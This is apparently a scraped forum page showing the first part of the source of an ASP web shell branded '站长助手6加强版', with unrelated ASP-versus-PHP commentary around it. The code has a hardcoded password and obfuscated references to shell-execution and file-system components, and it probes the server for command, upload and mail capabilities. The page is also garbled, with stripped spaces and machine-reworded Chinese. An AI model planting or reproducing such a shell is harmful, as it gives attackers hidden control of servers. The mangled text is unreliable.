|
马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
结论:和PHP一样,ASP简单而易于维护,很适合小型网站应用,通过DCOM和MTS技术,ASP甚至还可以完成小规模的企业应用,但ASP的致命缺点就是不支持跨平台的系统,在大型项目开发和维护上非常困难。源代码|站长|源代码|站长<%
Server.ScriptTimeout=50000
Response.Buffer=True
OnErrorResumeNext
ApplicationName="站长助手6加强版"
UserPass="123456"上岸暗码
URL=Request.ServerVariables("URL")
ServerIP=Request.ServerVariables("LOCAL_ADDR")
Action=Request("Action")
RootPath=Server.MapPath(".")
WWWRoot=Server.MapPath("/")
FolderPath=Request("FolderPath")
FName=Request("FName")
BackUrl="<metahttp-equiv=refreshcontent=2;URL=?Action=ShowFile>"
IfSession("webadmin")UserPassThen
IfRequest.Form("Pass")""Then
IfRequest.Form("Pass")=UserPassThen
Session("webadmin")=UserPass
Response.RedirectURL
Else
response.write"考证失利!"
EndIf
Else
SI="<centerstyle=font-size:12px><br><br>接待利用ASP站长助手<br><br>"
SI=SI&"<formaction="&URL&"method=post>"
SI=SI&"暗码:<inputname=Passtype=passwordsize=15>"
SI=SI&"<inputtype=submitvalue=登录></form></center>"
Response.WriteSI
EndIf
Response.End
EndIf
subShowErr()
IfErrThen
Response.Write"<br><ahref=javascript:history.back()><br>"&Err.Description&"</a><br>"
Err.Clear:Response.Flush
EndIf
endsub
DimObT(13,2)
ObT(0,0)="Sc"&DEfd&"rip"&DEfd&"ting"&DEfd&".F"&DEfd&"ileS"&DEfd&"yste"&DEfd&"mObj"&DEfd&"ect"
ObT(0,2)="文件操纵组件"
ObT(1,0)="w"&DEfd&"sc"&DEfd&"ri"&DEfd&"pt.s"&DEfd&"he"&DEfd&"ll"
ObT(1,2)="命令行实行组件"
ObT(2,0)="ADOX.Catalog"
ObT(2,2)="ACCESS建库组件"
ObT(3,0)="JRO.JetEngine"
ObT(3,2)="ACCESS紧缩组件"
ObT(4,0)="Scrip"&DEfd&"ting"&DEfd&".D"&DEfd&"icti"&DEfd&"onary"
ObT(4,2)="数据流上传帮助组件"
ObT(5,0)="Adodb.connection"
ObT(5,2)="数据库毗连组件"
ObT(6,0)="Ado"&DEfd&"d"&DEfd&"b"&DEfd&".S"&DEfd&"tre"&DEfd&"am"
ObT(6,2)="数据流上传组件"
ObT(7,0)="SoftArtisans.FileUp"
ObT(7,2)="SA-FileUp文件上传组件"
ObT(8,0)="LyfUpload.UploadFile"
ObT(8,2)="刘云峰文件上传组件"
ObT(9,0)="Persits.Upload.1"
ObT(9,2)="ASPUpload文件上传组件"
ObT(10,0)="JMail.SmtpMail"
ObT(10,2)="JMail邮件收发组件"
ObT(11,0)="CDONTS.NewMail"
ObT(11,2)="假造SMTP发信组件"
ObT(12,0)="SmtpMail.SmtpMail.1"
ObT(12,2)="SmtpMail发信组件"
ObT(13,0)="Microsoft.XMLHTTP"
ObT(13,2)="数据传输组件"
Fori=0To13
SetT=Server.CreateObject(ObT(i,0))
If-2147221005ErrThen
IsObj=True
Else
IsObj=false
Err.Clear
EndIf
SetT=Nothing
ObT(i,1)=IsObj
Next
FunctionRePath(S)
RePath=Replace(S,"","")
EndFunction
</p>[1][2][3][4][5][6][7][8][9][10]下一页>>
国内有些大的CRM厂商的ASP就写得不错.无论是概念还是它里面用JAVASCRIPT的能力.并不是说现在的程序员用了ASP.NET来写程序就可以说自己高档了 |
|